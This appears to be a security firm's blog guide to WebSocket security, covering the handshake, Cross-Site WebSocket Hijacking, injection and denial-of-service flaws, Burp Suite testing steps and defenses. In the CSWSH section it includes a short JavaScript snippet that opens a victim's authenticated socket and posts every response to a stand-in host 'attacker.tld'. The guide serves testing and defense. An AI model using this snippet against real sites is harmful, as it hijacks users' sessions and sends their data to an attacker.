WebSocket security is one of the areas most often overlooked in web audits, because the channel does not behave like a normal HTTP request and many of the controls that protect your REST or GraphQL API simply do not apply. The flagship flaw on this surface is Cross-Site WebSocket Hijacking (CSWSH): a cross-origin session hijack that appears whenever the server authenticates with cookies but never validates the handshake origin. This guide walks through how the protocol works, how CSWSH is exploited end to end, what other protocol-specific bugs exist, how to test WebSockets with Burp Suite and which defenses actually close the vector.
Key takeaways on WebSocket security
- The WebSocket handshake is an HTTP
Upgraderequest, but Same-Origin Policy and CORS do not restrict reading the channel once it is open.- The browser sends the
Originheader in the handshake, yet it is only advisory: a non-browser client can forge it.- CSWSH = CSRF applied to WebSockets: cookies as authentication plus missing
Originvalidation equals cross-origin session hijack.- Baseline defense: strict
Originallowlist, anti-CSRF token on the handshake, per-message authorization and mandatorywss.
How the WebSocket handshake works (and why it is not HTTP or CORS)
The WebSocket protocol is defined by RFC 6455 (2011). The connection starts as an HTTP Upgrade request and, after the 101 Switching Protocols response, the same TCP connection turns into a full-duplex, frame-based channel. A typical handshake looks like this:
GET /chat HTTP/1.1
Host: app.secra.es
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.secra.es
Cookie: session=eyJhbGciOi...
The server replies with 101 and a Sec-WebSocket-Accept header, which is the SHA-1 of the Sec-WebSocket-Key concatenated with the magic GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, base64 encoded. That computation only proves you speak WebSocket, it authenticates nothing.
Here is the security trap. When a page opens new WebSocket(...), the browser automatically attaches the cookies for the destination domain, exactly as with any cross-site request. But unlike fetch() or XMLHttpRequest, the Same-Origin Policy does not stop attacker JavaScript from reading the channel responses. CORS does not even come into play: the WebSocket protocol applies neither the preflight model nor Access-Control-Allow-Origin. If the contrast with the browser model interests you, we develop it in CORS: what it is and exploitable misconfigurations.
The only origin signal the server receives is the Origin header. And that header is only advisory: browsers set it by design, but a non-browser client (curl, wscat, a Python script) can send whatever value it wants. In other words, validating Origin stops attacks launched from a victim's browser, but it never replaces real authentication.
Cross-Site WebSocket Hijacking (CSWSH) step by step
CSWSH, a term coined by Christian Schneider, is essentially CSRF over WebSockets with the aggravating factor that the attacker can read the responses. The conditions for it to be exploitable are two, and they occur together more often than you would like:
- The WebSocket endpoint authenticates the user through the session cookie (ambient authentication).
- The server does not validate the handshake
Originheader, or does so loosely.
With that, the attack flow is direct. The victim, logged in to app.secra.es, visits a page controlled by the attacker. That page runs:
const ws = new WebSocket("wss://app.secra.es/chat");
ws.onopen = () => ws.send('{"action":"getMessages"}');
ws.onmessage = (e) =>
fetch("https://attacker.tld/collect", { method: "POST", body: e.data });
The victim's browser sends the handshake with its valid session cookie. The server, never checking Origin, accepts the connection and treats it as authenticated. From there the attacker can send messages on behalf of the victim and, worse, exfiltrate everything the server returns over the channel: message history, tokens, profile data or any operation the WebSocket API exposes. If the session cookie does not carry SameSite=Lax or Strict, the vector is wide open.
Reproducing it with Burp's WebSockets history
To confirm it during an engagement, the minimal flow with Burp Suite is:
- Browse the application with the proxy on until the WebSocket connection is established. It shows up in the WebSockets history tab, next to the HTTP history.
- Locate the handshake (the
GETrequest withUpgrade: websocket) and note whether the server returns101with the cookie as the only credential. - Replay the handshake changing the
Originheader to an arbitrary domain (for examplehttps://evil.example). If the server still returns101and the channel answers authenticated messages,Originvalidation is absent or insufficient: CSWSH confirmed. - Send a channel message to Repeater, which supports editing and resending WebSocket frames, to probe which operations the hijacked session accepts.
Other WebSocket-specific flaws
CSWSH is the headline, but the surface has more edges specific to the protocol.
Authentication only at the handshake vs per message
Many servers validate identity once, at the handshake, and then trust the connection for its whole lifetime. The problem is that authorization of each operation is not rechecked per message. If the channel multiplexes sensitive actions, a low-privilege user can send frames invoking operations they should never reach. This is exactly the pattern seen in GraphQL subscriptions over WebSocket, where the token travels in the connection_init payload and, if the resolver does not re-evaluate permissions per operation, authorization flaws appear. We analyze it in detail in GraphQL pentesting: vulnerabilities and defense.
Message tampering and injection
A WebSocket is just transport: every classic injection class remains valid inside the frames. If a message's content ends up rendered in the DOM without escaping, you get XSS; if it feeds a query, SQLi; if it builds a path, path traversal. The practical difference is that most WAFs and filters do not inspect WebSocket frames, because the traffic rides an already-upgraded connection. Tampering with each message's JSON from Repeater usually reveals far weaker server-side validation than the equivalent HTTP endpoints.
Denial of service with unbounded frames
The RFC does not impose a maximum message size. If the server limits neither frame length nor message rate, an attacker can exhaust memory by sending huge payloads or open thousands of connections to saturate the pool. The permessage-deflate compression extension adds a zip-bomb style amplification risk: a small compressed frame expands to hundreds of megabytes in server memory.
TLS (wss) and tunneling
The ws:// scheme travels in cleartext and exposes cookies and messages to anyone on the network path. Only wss:// (WebSocket over TLS, port 443) protects the channel. Additionally, WebSockets can tunnel arbitrary protocols over 443, which makes them a convenient command and control (C2) channel able to cross corporate proxies that pass HTTPS traffic without inspection. Worth keeping on the radar for both pentesting and detection.
Pentesting WebSockets with Burp Suite
Auditing a WebSocket endpoint fits within modern API pentesting, so it leans on the same tooling. An effective run includes:
- Discovery. Identify the
ws://andwss://URLs by inspecting the client JavaScript and Burp's WebSockets history tab. Document path, subprotocol (Sec-WebSocket-Protocol) and credential used. - Origin validation. Replay the handshake with an altered, absent and look-alike subdomain
Originto detect loose comparisons (for examplestartsWithor poorly anchored regular expressions). - Per-message authorization. With a low-privilege session, send frames invoking higher-privilege operations and check whether the server re-evaluates permissions.
- Message fuzzing. Tamper with each payload field looking for injection, IDOR and logic flaws, taking advantage of the typically lighter filtering compared with HTTP.
- Robustness. Test oversized frames and connection bursts to assess limits and DoS behavior.
This sequence is the natural extension of the approach described in API pentesting for REST and GraphQL, applied to a persistent transport.
Defenses: Origin allowlist, tokens and per-message authorization
Closing the WebSocket surface requires combining several controls, because none is enough on its own:
- Strict
Originallowlist. Validate the handshakeOriginheader against an explicit list of allowed origins and reject the rest with a status other than101. Compare the full string, never by prefix or substring. - Anti-CSRF token on the handshake. Since
Originis only advisory, also require an unpredictable token bound to the session (in a handshake parameter or the first message) and verify it server-side. This neutralizes CSWSH even if origin validation fails. - Do not rely on ambient cookies. Authenticate with tokens (for example a Bearer token in the
connection_initpayload) instead of session cookies, and mark any required cookie asSameSite=StrictorLax. - Per-message authorization. Re-evaluate permissions on every operation, not just at the handshake. The persistent connection must not be a blank check.
- Mandatory
wssand HSTS. Force TLS, rejectws://and cap frame size, message rate and compression to contain denial of service.
Frequently asked questions
Does CORS protect WebSocket connections?
No. The CORS model and the Same-Origin Policy do not restrict reading the WebSocket channel once it is established. The browser sends the Origin header in the handshake, but it is the server that must validate it explicitly. That is why an endpoint that trusts only cookies and does not check Origin is vulnerable to CSWSH even if its HTTP API has CORS configured perfectly.
What is the difference between CSWSH and classic CSRF?
Both abuse cookie authentication sent automatically across origins. The key difference is that in traditional CSRF the attacker can trigger an action but cannot read the response (the Same-Origin Policy blocks it), whereas in CSWSH they can read everything the server returns over the channel, which turns it into a much more severe two-way session hijack.
Is validating the Origin header enough to stop CSWSH?
Against a browser, validating Origin with an allowlist stops the attack, because the browser does not let JavaScript forge that header. But Origin is advisory: a non-browser client can send any value. That is why the recommendation is to combine Origin validation with an unpredictable anti-CSRF token on the handshake and per-message authorization.
How do I test a WebSocket with Burp Suite?
Browse the application with the proxy on until the connection opens, review the WebSockets history tab, replay the handshake altering the Origin header and send frames to Repeater to test authorization, injection and logic. It is the same web pentesting tooling, applied to a persistent channel.
At Secra we audit WebSocket endpoints, REST and GraphQL APIs inside the web and mobile audit service, with real focus on origin validation, per-message authorization and CSWSH. Every finding ships with a reproduction, severity justified by business impact and a prioritized remediation plan. If you want a proposal for your application, get in touch through contact.
About the author
Secra Solutions team
Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.

